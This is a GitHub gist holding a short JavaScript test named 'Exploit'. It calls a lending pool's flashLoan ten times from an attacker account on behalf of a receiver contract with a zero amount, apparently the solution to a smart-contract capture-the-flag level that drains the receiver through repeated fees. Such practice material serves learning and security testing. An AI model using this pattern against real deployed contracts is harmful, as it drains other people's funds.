Navigation Menu

Skip to content

Instantly share code, notes, and snippets.

@az0mb13
Created January 21, 2023 16:08
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save az0mb13/535d0f80b8862af6c29b2a1510ebf831 to your computer and use it in GitHub Desktop.
Save az0mb13/535d0f80b8862af6c29b2a1510ebf831 to your computer and use it in GitHub Desktop.
it('Exploit', async function () {
this.pool.connect(attacker).flashLoan(this.receiver.address,0)
this.pool.connect(attacker).flashLoan(this.receiver.address,0)
this.pool.connect(attacker).flashLoan(this.receiver.address,0)
this.pool.connect(attacker).flashLoan(this.receiver.address,0)
this.pool.connect(attacker).flashLoan(this.receiver.address,0)
this.pool.connect(attacker).flashLoan(this.receiver.address,0)
this.pool.connect(attacker).flashLoan(this.receiver.address,0)
this.pool.connect(attacker).flashLoan(this.receiver.address,0)
this.pool.connect(attacker).flashLoan(this.receiver.address,0)
this.pool.connect(attacker).flashLoan(this.receiver.address,0)
});
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment